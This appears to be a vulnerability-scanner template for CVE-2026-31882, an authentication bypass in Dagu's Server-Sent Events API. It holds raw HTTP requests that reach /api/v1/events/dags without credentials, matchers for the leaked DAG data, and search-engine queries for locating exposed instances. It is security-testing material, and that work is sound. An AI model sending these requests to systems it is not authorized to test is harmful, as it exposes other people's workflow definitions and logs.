Description
Dagu before 2.2.4 contains an authentication bypass caused by the Server-Sent Events API not enforcing Basic authentication, letting unauthenticated attackers subscribe to the /api/v1/events streams.
Dagu before 2.2.4 contains an authentication bypass caused by the Server-Sent Events API not enforcing Basic authentication, letting unauthenticated attackers subscribe to the /api/v1/events streams.
id: CVE-2026-31882
info:
name: Dagu < 2.2.4 - Authentication Bypass
author: s4e-io
severity: high
description: |
Dagu before 2.2.4 contains an authentication bypass caused by the Server-Sent Events API not enforcing Basic authentication, letting unauthenticated attackers subscribe to the /api/v1/events streams.
impact: |
Attackers can read DAG definitions, execution logs and queue state, leading to exposure of workflow data.
remediation: |
Update to version 2.2.4 or later.
reference:
- https://github.com/dagu-org/dagu/security/advisories/GHSA-9wmw-9wph-2vwp
- https://github.com/dagu-org/dagu/commit/064616c9b80c04824c1c7c357308f77f3f24d775
- https://github.com/dagu-org/dagu/pull/1752
- https://github.com/dagu-org/dagu/releases/tag/v2.2.4
- https://nvd.nist.gov/vuln/detail/CVE-2026-31882
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-31882
epss-score: 0.02424
epss-percentile: 0.8472
cwe-id: CWE-306
metadata:
verified: true
max-request: 2
vendor: dagu
product: dagu
shodan-query:
- http.favicon.hash:1995100989
- http.favicon.hash:-423444574
fofa-query:
- icon_hash="1995100989"
- icon_hash="-423444574"
tags: cve,cve2026,dagu,auth-bypass,sse,exposure
flow: http(1) && http(2)
http:
- raw:
- |
GET /api/v1/dags HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "contains(to_lower(header), 'realm=\"restricted\"')"
- "status_code == 401"
condition: and
internal: true
- raw:
- |
GET /api/v1/events/dags HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'contains_any(body, "event: connected", "event: data")'
- 'contains_all(body, "dags\":[", "filePath\":")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402201a835b3750602a623f8dacb06423632e18ce46d9aaf2c7131cc49e2dd03c734b02205e01e83eab0aabe9a619b24c3d5535fad96e58b9b3f70d1f1e44b2642f8782e5:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.